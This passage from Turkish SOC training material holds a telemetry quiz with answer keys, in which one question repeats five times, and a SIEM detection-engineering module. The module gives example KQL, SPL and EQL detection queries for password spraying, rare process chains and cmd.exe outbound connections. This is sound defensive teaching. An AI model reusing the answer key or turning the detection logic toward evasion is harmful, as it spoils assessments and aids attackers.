Business Context	Teknik alarmın, iş süreçleri ve veri hassasiyeti (KVKK/GDPR vb.) perspektifiyle değerlendirilmesi.

Kendini Değerlendir — Telemetri ve Log

Aşağıdaki 10 soru modül kazanımlarını ölçer. Her soru için en iyi cevabı seçin ve Testi Gönder düğmesine basın.

1) «Agent vs agentless toplama» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Agent vs agentless toplama için tanımlı kontrolü devreye almak ve süreci dokümante etmek

B) Tüm logları silmek

C) İnterneti kalıcı kapatmak

D) Yalnızca antivirüs imzasını güncellemek

Doğru: A
Gerekçe: Eksik kalan «Agent vs agentless toplama» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

2) SIEM’de gece 03:00’te 4000 benzer «failed logon» alarmı geldi. İlk triyaj adımı?

A) Alarmı kalıcı bastırmak

B) SIEM’i kapatmak

C) Kaynak IP, hedef hesap, zaman penceresi ve playbook ile önceliklendirme

D) Tüm kullanıcıları silmek

Doğru: C
Gerekçe: Alarm selinde bağlam ve playbook triyajı kritiktir.

3) «Normalizasyon ve zaman damgası» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Tüm logları silmek

B) İnterneti kalıcı kapatmak

C) Yalnızca antivirüs imzasını güncellemek

D) Normalizasyon ve zaman damgası için tanımlı kontrolü devreye almak ve süreci dokümante etmek

Doğru: D
Gerekçe: Eksik kalan «Normalizasyon ve zaman damgası» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

4) MTTD uzun, MTTR kısa. Bu neyi gösterir?

A) Log toplanmıyor

B) Hiç olay yok

C) Sadece false positive var

D) Olaylar geç fark ediliyor; müdahale hızlı

Doğru: D
Gerekçe: Tespit–müdahale metrikleri farklı aşamaları ölçer.

5) «Retention ve maliyet dengesi» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Yalnızca antivirüs imzasını güncellemek

B) Retention ve maliyet dengesi için tanımlı kontrolü devreye almak ve süreci dokümante etmek

C) Tüm logları silmek

D) İnterneti kalıcı kapatmak

Doğru: B
Gerekçe: Eksik kalan «Retention ve maliyet dengesi» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

6) MTTD uzun, MTTR kısa. Bu neyi gösterir?

A) Hiç olay yok

B) Log toplanmıyor

C) Sadece false positive var

D) Olaylar geç fark ediliyor; müdahale hızlı

Doğru: D
Gerekçe: Tespit–müdahale metrikleri farklı aşamaları ölçer.

7) Bir stajyer «Sysmon’un ek görünürlüğü» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Araç adı yeterlidir

B) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

C) Sadece sınavda sorulursa öğrenilir

D) Yalnızca yöneticiler bilir

Doğru: B
Gerekçe: «Sysmon’un ek görünürlüğü» uygulama ve risk bağlamı olmadan anlamlı değildir.

8) MTTD uzun, MTTR kısa. Bu neyi gösterir?

A) Hiç olay yok

B) Olaylar geç fark ediliyor; müdahale hızlı

C) Sadece false positive var

D) Log toplanmıyor

Doğru: B
Gerekçe: Tespit–müdahale metrikleri farklı aşamaları ölçer.

9) MTTD uzun, MTTR kısa. Bu neyi gösterir?

A) Sadece false positive var

B) Log toplanmıyor

C) Hiç olay yok

D) Olaylar geç fark ediliyor; müdahale hızlı

Doğru: D
Gerekçe: Tespit–müdahale metrikleri farklı aşamaları ölçer.

10) MTTD uzun, MTTR kısa. Bu neyi gösterir?

A) Hiç olay yok

B) Log toplanmıyor

C) Olaylar geç fark ediliyor; müdahale hızlı

D) Sadece false positive var

Doğru: C
Gerekçe: Tespit–müdahale metrikleri farklı aşamaları ölçer.

Bu Modülde Kazanılan Yetkinlikler

Bu modül, SOC analistinin veriyi sorgulamadan önce veriye güvenip güvenemeyeceğini sorgulamasını sağlayacak analitik bakışı kazandırdı.
Telemetri ve log arasındaki operasyonel fark netleşti: Sysmon, EDR, cloud API kayıtları, network metadata ve klasik loglar farklı zenginlik seviyelerinde görünürlük sağlar. Analist hangi kaynaktan ne beklediğini artık daha net belirleyebilir.
SOC’ta görünürlük probleminin kökeni anlaşıldı: Log gelmemesi, hatalı parse edilmesi veya kritik alanların eksik toplanması alarm sessizliğiyle sonuçlanır. Bu sessizlik “tehdit yok” değil “veri yok” anlamına gelebilir; ikisini ayırt edebilmek bu modülün en kritik çıktısıdır.
Log kaynaklarını use case bazlı önceliklendirme becerisi kazanıldı: Her sistemi eşit öncelikte izlemek yerine hangi sistemin hangi tehdit için kritik veri ürettiğini belirlemek detection boşluklarını azaltır ve maliyet kontrolü sağlar.
Parsing ve field extraction mantığı operasyonel olarak içselleştirildi: Bir alarm triajında alanlar boşsa bunun nedeni tehdit yokluğu değil parsing arızası olabilir. Bu farkı görebilmek, investigation’ın yanlış yöne sapmasını önler.
Normalizasyonun detection kalitesine doğrudan etkisi görüldü: Farklı kaynaklardaki aynı anlam farklı alan adlarıyla geldiğinde korelasyon kuralları körleşir; CIM ve ECS gibi standartlar bu problemi çözer.
Enrichment’ın triaj hızı ve kalitesine katkısı anlaşıldı: Asset, user, GeoIP, ASN ve reputation enrichment olmadan analist her alarm için bu bilgileri elle araştırmak zorunda kalır; enrichment bu süreci otomatikleştirerek MTTA’yı düşürür.
Log retention, connector health, ingestion delay ve timestamp problemleri artık salt teknik sorunlar değil, detection ve investigation kalitesini doğrudan etkileyen operasyonel değişkenler olarak okunabilir hâle geldi.
Veri kalitesini sorgulama alışkanlığı kazanıldı: Analist artık alarm gördüğünde önce “bu veriye güvenebilir miyim?” sorusunu sorar; ardından alarmın gerçek tehdit mi, false positive mi yoksa veri kalitesi probleminden doğan bir yanılsama mı olduğunu daha sağlıklı değerlendirir.
Bu modülün temel mesajı şudur: SOC’ta iyi analiz, iyi veriyle başlar. Veri eksik, geç, yanlış ayrıştırılmış veya bağlamdan yoksunsa en iyi SIEM, en iyi kural ve en iyi analist bile sınırlı sonuç üretir. Bir SOC analisti için veri kalitesini okuyabilmek, en az alarm ekranını okuyabilmek kadar kritik bir yetkinliktir.

MODÜL 3 — SIEM Sorgulama ve Detection Engineering

Modül Teması

Sorgu Dilleri

KQL, SPL, ESQL, Sigma.

Detection

TTP odaklı kural geliştirme.

Yaşam Döngüsü

Test, tuning, false positive yönetimi.

SIEM, SOC’un sinir merkezi olarak konumlandırılır; ama bu merkez ne kadar iyi kurulmuş olursa olsun, üzerindeki detection mantığı zayıfsa alarm üretimi ya anlamsız gürültüye ya da derin sessizliğe dönüşür. Bu modül, SIEM’i bir araç olarak değil bir analiz platformu olarak okumayı öğretir: hangi sorgu ne zaman yazılır, nasıl filtrelenir, nasıl aggregation yapılır ve farklı platformlarda bu mantık nasıl ifade edilir. Modülün ikinci ve daha kritik yarısı detection engineering sürecine aittir: bir tespit fikri nasıl hipoteze dönüşür, kural nasıl yazılır, test edilir, canlı ortama alınır, tuning yapılır ve kalitesi nasıl ölçülür?

Temel eğitimde SIEM’in ne olduğunu, log topladığını ve alarm ürettiğini öğrendiniz. Bu modül oradan itibaren devam eder; ancak odak “SIEM çalışıyor mu?” sorusundan “Bu sorgu doğru mu, bu kural gerçekten değer üretiyor mu, false positive’i nasıl azaltırım, detection gap nerede?” sorularına kayar. Detection kural türleri, SOC use case aileleri ve detection kalitesi ölçme konuları bu modülü yalnızca teknik bir sorgulama dersinden ayırır: öğrenci, alarm arkasındaki mantığı anlayan ve o mantığı sorgulayabilen bir analist bakışı kazanır.

Modülün SOC operasyonundaki gerçek karşılığı şudur: Her gün alınan onlarca alarmın hangi kuralla üretildiğini, o kuralın güvenilir olup olmadığını ve bir detection boşluğunun nerede bulunduğunu görebilmek, L1 analistten L3 detection engineer’a uzanan spektrumun tamamında operasyonel değer taşır.

Bu Modülde Hedeflenen Kazanımlar

SIEM’in hangi problemleri çözdüğünü ve hangi problemleri tek başına çözemeyeceğini operasyonel gerçeklikle açıklayabilmeli; farklı SIEM platformlarının genel yaklaşımını karşılaştırabilmelidir.
Alan bazlı arama, zaman penceresi, filtreleme, aggregation ve join/correlation tekniklerini kullanarak SIEM üzerinde etkili ve amaçlı sorgular yazabilmelidir.
KQL, SPL, EQL/ES|QL ve YARA-L sorgu/kural dillerinin savunmacı SOC analitiğindeki mantığını platform özelinde açıklayabilmeli ve basit düzeyde sorguları okuyup yorumlayabilmelidir.
Detection engineering yaşam döngüsünü — hipotezden üretime, tuning’den emekliye ayırmaya — sırasıyla anlatabilmeli ve her aşamada hangi kararların verilmesi gerektiğini belirleyebilmelidir.
Threshold, correlation, sequence, rarity, anomaly, behavior ve risk tabanlı detection türlerini birbirinden ayırt edebilmeli ve hangi use case için hangi türün uygun olduğunu gerekçeleyebilmelidir.
Living off the land, credential dumping, password spraying, lateral movement, persistence, privilege escalation, exfiltration ve defense evasion use case ailelerini SOC tespit perspektifinden tanımlayabilmeli ve her birinde hangi log alanlarına bakılması gerektiğini söyleyebilmelidir.
False positive, false negative, detection gap ve detection coverage kavramlarını operasyonel bağlamda değerlendirerek bir kuralın kalitesini sorgulanabilir hâle getirebilmelidir.
Rule ownership ve detection backlog yönetiminin SOC sürdürülebilirliğine katkısını açıklayabilmelidir.
Bir detection kuralının production’da ne kadar süre değer ürettiğini ve ne zaman emekliye ayrılması gerektiğini belirleyecek kriterleri sıralayabilmelidir.

1. SIEM’in SOC Operasyonlarındaki Rolü

1.1 SIEM Nedir?

SIEM (Security Information and Event Management), farklı kaynaklardan gelen logları merkezi bir platformda toplayan, bu loglar üzerinde korelasyon ve sorgu çalıştıran, alarm üreten, geçmişe dönük investigation yapılmasına olanak tanıyan ve raporlama sağlayan güvenlik analitiği platformudur. SOC operasyonunun büyük bölümü SIEM ekranı üzerinde gerçekleşir: alarm listesi oradan okunur, investigation sorguları orada yazılır, zaman çizelgesi orada kurulur.

Önemli olan nokta şudur: SIEM bir veri deposu olduğu kadar bir analiz yüzeyidir. Analist SIEM’de yalnızca log okumaz; hipotezini sorgulara çevirir, aggregation yaparak davranış örüntülerini görünür kılar, join ile farklı kaynakları ilişkilendirir ve sonucu vaka notuna dönüştürür.

1.2 SIEM Hangi Problemleri Çözer?

SIEM’in SOC’a kattığı en büyük değer merkezileştirmedir. Firewall, endpoint, kimlik altyapısı, cloud ve uygulama katmanından gelen logların her birine ayrı ayrı erişmek zorunda kalmak yerine tek bir yüzeyden sorgulama yapabilmek, investigation süresini dramatik biçimde kısaltır.

İkinci değer ilişkilendirmedir: farklı kaynaklardaki olayları ortak alan üzerinden birleştirerek tek kaynaktan görülemeyen saldırı zincirini görünür hâle getirmek SIEM’in temel güçlerinden biridir.

Üçüncü değer zaman içinde analiz yapabilmektir. Geçmiş logları saatler, günler hatta haftalar öncesine dönerek sorgulamak, investigation kapsamını genişletir ve geç tespit edilen tehditlerin erken izlerini bulmayı mümkün kılar.

1.3 SIEM Hangi Problemleri Tek Başına Çözmez?

SIEM bir araçtır; kendi başına düşünemez, bağlam oluşturamaz ve kötü veriyi iyi veri hâline getiremez. Kalitesiz veri geldiğinde SIEM yanlış alarm üretir ya da sessiz kalır. Doğru kural yazılmadığında alarm üretmez. Tuning yapılmadığında yüzlerce false positive üretir ve analist bunlara bakmayı bırakır. Süreç disiplini olmadığında alarm takipsiz kalır. Yetkin analist yoksa sorgu sonuçları yanlış yorumlanır.

Bu nedenle SIEM’i operasyonel başarının tek koşulu olarak görmek bir yanılgıdır. SIEM, telemetri kalitesi, detection mantığı, tuning disiplini ve analist yetkinliğiyle birlikte değer üretir; bunlardan herhangi biri eksikse SIEM’in teknik kapasitesi operasyonel gerçekliğe dönüşmez.

1.4 Farklı SIEM Platformlarının Genel Yaklaşımı

Birkaç önde gelen platformun SOC bağlamındaki konumlanmasını anlamak, hem araç seçimi hem de farklı müşteri ortamlarında çalışma açısından önemlidir.

Microsoft Sentinel, Azure üzerine kurulu cloud-native bir SIEM’dir. KQL sorgu dili kullanır; Microsoft 365, Entra ID, Defender ve Azure ekosistemiyle yerel entegrasyonu güçlüdür. UEBA, threat intelligence ve SOAR yeteneklerini aynı platformda sunar. Lisanslama veri hacmine göre değişir.

Splunk, güçlü SPL sorgu diliyle kurumsal SIEM segmentinin uzun süreli oyuncusudur. Geniş uygulama ekosistemi ve Splunk Enterprise Security ile olgunlaşmış bir detection mimarisi sunar. On-prem, cloud ve hibrit dağıtıma izin verir; ancak lisanslama maliyeti dikkat isteyen bir faktördür.

Elastic Security, Elasticsearch altyapısı üzerine kurulu, Elastic Stack ekosistemiyle çalışan ve self-managed/cloud dağıtım modelleri sunan bir güvenlik analitiği platformudur. EQL ve ES|QL sorgu dilleri, ECS normalizasyon standardı ve Kibana tabanlı görselleştirme birlikte çalışır. Açık kaynak ekosisteminden doğmuş olsa da güncel lisanslama ve özellik kapsamı kullanılan sürüme göre değişir. Esnekliği yüksek ama kurulum ve bakım disiplini gerektiren bir platformdur.

Google SecOps (Chronicle), Google’ın bulut altyapısı üzerine kurulu, büyük veri odaklı SIEM/SecOps yaklaşımıdır. YARA-L 2.0 ve UDM (Unified Data Model) ile çalışır; büyük ölçekte düşük gecikmeyle geçmişe dönük arama yapabilme kapasitesi öne çıkan özellikleridir.

IBM QRadar, kurumsal ortamlarda köklü bir geçmişe sahip SIEM platformudur. Ariel veritabanları üzerinde sorgu çalıştırmak için AQL (Ariel Query Language) kullanılır. Built-in korelasyon motoru, offense yönetimi ve anomali analizi yetenekleriyle özellikle büyük ve karmaşık ortamlarda tercih edilir.

SOC analisti genellikle platform seçmez; ortamda hangisi kuruluysa onunla çalışır. Ancak sorgu dillerinin mantığını anlamak, platforma bağımlı kalmadan analitik düşünebilmeyi sağlar.

2. SIEM Üzerinde Etkili Sorgulama Mantığı

2.1 Alan Bazlı Arama ile Olayları Filtreleme

SIEM’de etkili sorgulama, tam metin aramadan uzak ve alan (field) bazlı aramaya yakın olmak demektir. username = "testuser" yazmak, testuser metnini içeren her log kaydını getirmekten çok daha verimlidir: ilki yalnızca username alanında o değeri taşıyan kayıtları döndürür, ikincisi arama motoru üzerinde gereksiz yük oluşturur ve alakasız sonuçlar getirebilir.

Alan (Field)	SOC Investigation Kullanımı ve Analitik Bakış
src_ip / source.ip	Bağlantı kaynağı; Reputation, GeoIP ve ASN analizi yapılarak kaynağın güvenilirliği sorgulanır.
dst_ip / destination.ip	Bağlantı hedefi; Bilinen zararlı IP listeleriyle (IOC) karşılaştırılarak veri sızdırma veya C2 trafiği aranır.
username / user.name	Kullanıcı bazlı pivot; Bu kullanıcı aynı anda başka sistemlerde görülüyor mu? (Credential Stuffing tespiti).
hostname / host.name	Sistem bazlı pivot; Etkilenen sistem kritik bir varlık (Domain Controller, DB) mı? Patlama yarıçapı (Blast Radius) ölçülür.
process_name / process.name	Çalışan süreç; İsmi meşru mu? (Örn: `svchost.exe` ama yanlış dizinde mi?) Parent process ile uyumu kontrol edilir.
command_line / process.command_line	Gerçek çalıştırılan komut; Base64 ile kodlanmış mı? Obfuscated (karmaşıklaştırılmış) parametreler içeriyor mu?
event_id	Windows aktivite türü; 4624 (Giriş), 4688 (Süreç), 1102 (Log temizleme) gibi kritik olayları hızlıca ayırır.
action / event.action	Eylemin sonucu; DENY (engellenmiş saldırı mı?) yoksa SUCCESS (başarılı sızma mı?) ayrımı yapılır.
file_hash / file.hash.sha256	Dosya kimliği; Threat Intelligence (VirusTotal vb.) kaynaklarıyla eşleştirilerek zararlı yazılım tespiti yapılır.

2.2 Zaman Penceresiyle Analiz Kapsamı Belirleme

Zaman penceresi seçimi sadece performans meselesi değil, analiz kararıdır. Çok dar bir pencere gerçek bir olayı kaçırabilir; çok geniş bir pencere gereksiz veri getirir ve analizi zorlaştırır.

Kısa pencereler (son 5 dakika, son 1 saat) aktif bir alarm triajında kullanılır:
“Bu tam an ne oluyor?” sorusunu yanıtlar.

Orta pencereler (son 24 saat, son 7 gün) investigation’da kullanılır:
“Bu kullanıcı bu hafta başka nerede göründü?” sorusunu yanıtlar.

Uzun pencereler (son 30 gün, son 90 gün) threat hunting ve detection backfill için kullanılır:
“Bu kural yeni eklendi, geçmişe bakıldığında hiç ateşledi mi?” sorusunu yanıtlar.

Geriye dönük arama (retrohunt) özellikle yeni bir IOC veya TTP öğrenildiğinde değerlidir; SIEM’deki geçmiş loglardan bu sinyalin izinin aranması mümkündür.

2.3 Filtreleme ile Gereksiz Sonuçları Azaltma

Sorgular sadece ne arandığını değil ne dışarıda bırakıldığını da tanımlar. Kötü yazılmış bir sorgu binlerce sonuç döndürebilir; içinden anlamlı olanı bulmak saatler alır. İyi yazılmış bir sorgu baştan gereksiz sonuçları elimine eder.

Yaygın filtreleme yaklaşımları şunlardır:

Bilinen yönetici aktivitesini dışarıda bırakmak: user != "svc_backup"
Belirli bir asset grubuna odaklanmak: hostname = "DC-TEST01"
Belirli bir action’ı hedeflemek: action = "deny" veya event.outcome = "failure"
Belirli bir event ID grubunu seçmek: event_id in (4625, 4648, 4771)
Her exclusion beraberinde bir sorumluluk taşır: dışarıda bırakılan veri gerçek bir tehdit taşıyorsa false negative üretilir. Bu nedenle filtreleme kararları belgelenmiş ve periyodik olarak gözden geçirilmiş olmalıdır.

Dikkat: Bir allowlist veya exclusion filtresi eklendikten sonra o filtrenin SIEM’de kalıcı olduğundan ve kim tarafından neden eklendiğinin kaydedildiğinden emin olunmalıdır. “Bu kaynaktan alarm gelmesin” kararı yapılan değişiklik kaydına (changelog) işlenmeden uygulanırsa gelecekteki analistler o kör noktayı fark edemez.

2.4 Aggregation ile Davranış Örüntülerini Çıkarma

Tekil event’leri birer birer okumak yerine aggregation ile davranış örüntüsü çıkarmak, hem detection hem investigation için güçlü bir yaklaşımdır. Aggregation operasyonları arasında en yaygın kullanılanlar şunlardır:

count by: Belirli bir alana göre event sayısını gruplar.

Örnek: Kullanıcı başına başarısız authentication sayısı. Bu yaklaşım password spraying ve brute force tespitinin temelidir.

distinct count: Tekil değer sayısını verir.

Örnek: Tek bir kaynak IP’den bağlantı kurulan farklı dst_port sayısı. Yüksek distinct port sayısı port tarama davranışına işaret edebilir.

top / rare: En sık veya en nadir görülen değerleri sıralar. rare özellikle ilginçtir: ortamda yalnızca bir ya da birkaç kez görülen process_name, command_line veya user-agent değeri analist dikkatini hak eder.

timechart / bin: Olayları zaman dilimleri içinde gruplandırır. Bir kullanıcının günün hangi saatlerinde oturum açtığını ve bu pattern’den ne zaman saptığını görmek için kullanılır.

Aggregation, tek bir kötü event’i aramak yerine kötü bir pattern aramayı mümkün kılar. Saldırganların büyük bölümü tek bir alarm üretmeden önce birçok küçük sinyal bırakır; bu sinyalleri toplu olarak görmek ancak aggregation sorgularıyla mümkündür.

2.5 Join ve Correlation ile Olayları İlişkilendirme

Join ve correlation, farklı log kaynaklarındaki event’leri ortak alan üzerinden birleştirerek tek kaynaktan görülemeyen ilişkileri ortaya çıkarır. Bu yaklaşım özellikle çok aşamalı saldırılarda kritiktir.

Örnek: “Son 1 saatte event_id=4625 (başarısız giriş) gösteren, ardından event_id=4624 (başarılı giriş) gösteren ve başarılı girişin hemen ardından event_id=4698 (scheduled task oluşturma) içeren aynı kullanıcı var mı?”

Bu üç event’i ayrı ayrı görmek her birini zararsız gösterebilir; birleştirince credential brute force + persistence attempt zinciri ortaya çıkar.

Join sorgularının maliyeti yüksektir; büyük veri setlerinde yavaşlayabilir. Bu nedenle join’in kullanılacağı zaman aralığı ve hangi kaynaklardan veri çekileceği önceden belirlenmeli, sorgular gerektiğinden geniş tutulmamalıdır.

2.6 KQL ile Microsoft Ekosisteminde Güvenlik Sorgulama

KQL (Kusto Query Language), Microsoft Sentinel ve Microsoft Defender ekosisteminde kullanılan sorgu dilidir. Okunabilir, fonksiyonel ve birleştirilebilir yapısıyla güçlü analizler üretmeye uygundur.

KQL’in temel operatörleri ve SOC kullanımı:

Operatör	SOC Analizi ve Kullanım Senaryosu
where	Temel filtreleme mekanizmasıdır; belirli bir `EventID`, `IP` veya `Username`'e odaklanmak için kullanılır.
project	Gereksiz veri yığınını temizler; sadece analiz için kritik olan `Timestamp`, `Account` gibi sütunları seçer.
summarize	Veriyi gruplandırır; örneğin son 1 saatteki başarısız giriş denemelerini kullanıcı bazlı saymak (`count()`) için kullanılır.
join	Farklı veri kaynaklarını (örn: Güvenlik günlükleri ile Cihaz Envanteri) ortak bir alan (`ComputerName`) üzerinden birleştirir.
extend	Mevcut veriden yeni bilgiler türetir; örneğin iki string'i birleştirmek veya zaman farklarını hesaplamak için kullanılır.
ago()	Zaman penceresi tanımlar; `ago(24h)` ile son bir gündeki anomalileri hızlıca sorgulamayı sağlar.
sort by	Sonuçları anlamlandırır; en çok bağlantı kuran IP'leri veya en son gerçekleşen olayları (`desc`) en başa getirir.
let	Sorgu içinde "değişken" veya "alt tablo" tanımlar; karmaşık korelasyon sorgularını okunabilir ve yönetilebilir kılar.

Komut :

SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4625
| summarize FailedAttempts = count(), TargetAccountCount = dcount(TargetAccount), TargetAccounts = make_set(TargetAccount, 20) by IpAddress
| where FailedAttempts > 10 and TargetAccountCount > 8
| sort by TargetAccountCount desc

Platform : Microsoft Sentinel — KQL, Log Analytics workspace

Amaç: Son 1 saat içinde aynı kaynak IP'den 8'den fazla farklı kullanıcı hesabına yönelik başarısız giriş denemelerini (Event ID 4625) tespit eder. Bu düşük frekanslı ama geniş kapsamlı saldırı modelini raporlayarak olası sızıntıları önler.

Beklenen çıktı:

Microsoft Sentinel - Logs - Password Spraying Detection

// Password Spraying Analizi: Bir IP'den Çok Sayıda Hesaba Saldırı SecurityEvent | where TimeGenerated > ago(1h) | where EventID == 4625 // Başarısız Oturum Açma | summarize FailedAttempts = count(), TargetAccountCount = dcount(TargetAccount), TargetAccounts = make_set(TargetAccount, 20) by IpAddress | where FailedAttempts > 10 and TargetAccountCount > 8 | sort by TargetAccountCount desc --- Statistics Results --- IpAddress FailedAttempts TargetAccountCount TargetAccounts --------- -------------- ------------------ -------------- 185.156.73.12 45 32 ["admin", "Emre", "hr_user", "it_admin"...] 45.95.11.23 18 12 ["backup", "sql_svc", "test"...] # Güvenlik Analizi: Bir IP adresinin tek bir saatte 30'dan fazla benzersiz hesaba oturum açmayı denemesi, tesadüfi bir hata olamaz. Bu, net bir "Password Spraying" saldırısıdır. # Kritik Kontrol: "TargetAccounts" setini inceleyin. Eğer "admin", "guest" gibi genel isimlerin yanı sıra gerçek personel isimleri de varsa, saldırgan kurum içi bir kullanıcı listesine (Employee List) sahip olabilir. # Teknik Not: "dcount" (distinct count) fonksiyonu, saldırganın kaç farklı kapıyı zorladığını anlamak için anahtardır. "make_set" ise analistin hangi hesapların hedef alındığını tek satırda görmesini sağlar.

Dikkat edilecek noktalar

IpAddress sütununa: iç mi dış IP mi? Dış IP’den çok sayıda farklı hesaba deneme kritiktir.

TargetAccountCount değerine: farklı hedef hesap sayısı yüksekse spraying ihtimali artar.

TargetAccounts listesine: hedeflenen hesaplar yüksek yetkili mi, servis hesabı mı, normal kullanıcı mı?

Normal durum:
Bir kullanıcının parolasını yanlış girmesi nedeniyle aynı hesaba birkaç başarısız deneme.

Şüpheli durum:
Tek bir dış IP’den 50+ farklı hesaba az sayıda deneme: password spraying.

Brute Force: Tek hesaba 100+ deneme

Yanlış yapılandırma / veri kalitesi problemi:
IpAddress alanı null dönüyorsa log kaynağında IP alanı toplanmıyor veya parse edilmiyor demektir; detection kuralı IP bazlı analiz yapamaz. Ayrıca bazı ortamlarda alan adı TargetAccount, Account, TargetUserName veya normalize edilmiş başka bir alan olabilir. Production kuralına dönüştürmeden önce alan adları doğrulanmalıdır.

Yorum:
Bu sorgu threshold-based detection mantığının doğrudan SIEM sorgusu karşılığıdır. Production detection kuralı hâline getirilmeden önce kurumun normal authentication hacmine göre eşik değeri kalibre edilmelidir.

2.7 SPL ile Splunk Ekosisteminde Güvenlik Sorgulama

SPL (Search Processing Language), Splunk’ın sorgu dilidir. Boru hattı (|) mantığıyla çalışır: her komut önceki komutun çıktısını alır ve işler.

Temel SPL komutları:

Komut	SOC Analizi ve Kullanım Senaryosu
search	Veri setini daraltır; `index`, `sourcetype` veya anahtar kelimelerle arama başlatmak için kullanılır.
stats	İstatistiki özetler çıkarır; kullanıcı bazlı tekil IP sayısını (`dc(dest_ip)`) bulmak için idealdir.
eval	Mantıksal işlemler ve yeni alan tanımları yapar; örneğin `if` bloklarıyla risk puanlaması atanabilir.
table	Analiz raporunu sadeleştirir; ham veriyi gizleyip sadece `_time`, `user`, `src_ip` gibi alanları gösterir.
sort	Veriyi sıralar; örneğin en yüksek başarısız giriş sayısını (`sort - count`) en üstte görmeyi sağlar.
timechart	Zaman serisi verisi oluşturur; saldırıların zamana göre dağılımını grafiksel (Dashboard) olarak sunar.
rex	Normalizasyon dışında kalmış veya ham log içindeki verileri Regex ile anlık olarak alanlara böler.
join	Farklı veri kaynaklarını (örn: DHCP logu ile Güvenlik logu) ortak bir alan üzerinden korele eder.

Komut :

                        index=windows_logs sourcetype=WinEventLog:Security EventCode=4688
                        | stats count by Account_Name, New_Process_Name, Creator_Process_Name
                        | where count < 3
                        | sort - count
                        | table Account_Name, Creator_Process_Name, New_Process_Name, count

Platform : Splunk — SPL sorgusu

Amaç: Güvenlik günlüklerindeki süreç oluşturma olaylarını analiz ederek; kullanıcı, ebeveyn süreç ve yeni süreç üçlüsünün nadir görülen kombinasyonlarını listeler. Bu sayede yaygın sistem hareketleri arasına gizlenmiş saldırgan faaliyetlerini tespit eder.

Beklenen çıktı:

Splunk Enterprise - Rarity-Based Process Analytics

// Nadir Süreç Kombinasyonlarını Tespit Et (Anomali Analizi) index=windows_logs sourcetype=WinEventLog:Security EventCode=4688 | stats count by Account_Name, New_Process_Name, Creator_Process_Name | where count < 3 | sort - count | table Account_Name, Creator_Process_Name, New_Process_Name, count --- Rare Process Results --- Account_Name Creator_Process_Name New_Process_Name count ------------ -------------------- ---------------- ----- Emre C:\..\winword.exe C:\..\cmd.exe 1 SYSTEM C:\..\services.exe C:\Temp\svchost.exe 2 it_admin C:\..\powershell.exe C:\..\net.exe 1 # Güvenlik Analizi: "Creator" (Ebeveyn) ve "New" (Yeni) süreç arasındaki ilişkiyi inceleyin. Bir kelime işlemcinin (winword.exe) komut satırı (cmd.exe) başlatması, tipik bir "Phishing" veya "Malicious Macro" belirtisidir. # Kritik Uyarı: "svchost.exe" gibi kritik sistem süreçlerinin standart dışı dizinlerden (C:\Temp\) çalışması, "Masquerading" adı verilen, kendini meşru süreç gibi gösterme tekniğidir. # Teknik İpucu: Bu sorgu, "Baseline" (normal durum) dışındaki anomalileri yakalar. Eğer sisteminizde çok fazla "yanlış pozitif" varsa, 'where count < 3' limitini kademeli olarak artırarak ortamınıza göre optimize edebilirsiniz.

Dikkat edilecek noktalar

Creator_Process_Name → New_Process_Name zinciri mantıklı mı?

winword.exe → cmd.exe gibi kombinasyonlar şüpheli mi?

Account_Name normal bir kullanıcı mı yoksa servis hesabı mı?

Normal durum:
explorer.exe → notepad.exe veya explorer.exe → chrome.exe gibi beklenen kombinasyonlar.

Şüpheli durum:
winword.exe → wscript.exe veya winword.exe → mshta.exe gibi kombinasyonlar.

svchost.exe → powershell.exe gibi alışılmadık parent-child zincirleri.

Yanlış yapılandırma / veri kalitesi problemi:
Process_Command_Line alanı boşsa Windows’ta “Include command line in process creation events” ayarı etkin olmayabilir veya command line alanı doğru parse edilmiyor olabilir. New_Process_Name alanı boşsa bu daha çok field extraction, sourcetype veya log mapping problemi olarak değerlendirilmelidir.

Yorum:
Bu rarity-based hunting mantığına uygundur. Belirli bir IOC aramak yerine nadir davranışı arar; analistin değerlendirmesine sunar.

2.8 EQL / ES|QL ile Elastic Ekosisteminde Olay Sorgulama

Elastic’te iki farklı sorgu yaklaşımı SOC açısından önem taşır. EQL (Event Query Language), özellikle olay zinciri (sequence) sorgulama için uygundur: “X event’i gerçekleştikten sonra Y event’i gerçekleştiyse alarm üret” mantığı EQL’in güçlü olduğu alandır. Saldırı zinciri tespitinde bu özellik kritiktir.

ES|QL ise Elasticsearch’in daha yeni nesil query pipeline yaklaşımıdır. Filtreleme, dönüşüm, aggregation ve tablo benzeri analitik sorgularda kullanılır. Sıralı olay ilişkisi aranıyorsa EQL; geniş veri üzerinde analitik sorgu, özetleme ve dönüşüm yapılacaksa ES|QL tercih edilir.

EQL sequence örneği (kavramsal):

                        sequence by host.name with maxspan=5m
                        [process where process.name == "cmd.exe" and user.name != "SYSTEM"]
                        [network where destination.port == 443 and process.name == "cmd.exe"]

Bu sorgunun anlamı: Aynı host üzerinde 5 dakika içinde önce cmd.exe çalıştırılmış (SYSTEM dışında bir kullanıcı tarafından), ardından cmd.exe tarafından 443 portuna bağlantı kurulmuş. Bu sequence, cmd.exe üzerinden şüpheli dış bağlantı kurulma girişimine işaret edebilir.

İpucu: EQL sequence sorgularının gücü, iki olayı ayrı ayrı değerlendirmek yerine aralarındaki geçici ilişkiyi koşul olarak tanımlayabilmesidir. Bu sayede her olay tekil başına düşük öncelikli görünürken birlikte yüksek öncelikli alarm üretebilir.

2.9 YARA-L ile Google SecOps Tarafında Detection Sorgulama

YARA-L 2.0, Google Security Operations içinde arama, dashboard ve rule-based threat detection senaryolarında kullanılan yapılandırılmış dildir. Detection engineering bağlamında özellikle UDM (Unified Data Model) üzerinde çalışan tek event ve multi-event kuralları yazmak için kullanılır.

YARA-L kuralı yapısının kavramsal bileşenleri şunlardır:

meta: Kural metadata’sı; yazar, açıklama, MITRE eşlemesi gibi bilgiler.
events: Hangi koşulların aranacağı.
match: Hangi alan üzerinde gruplama yapılacağı.
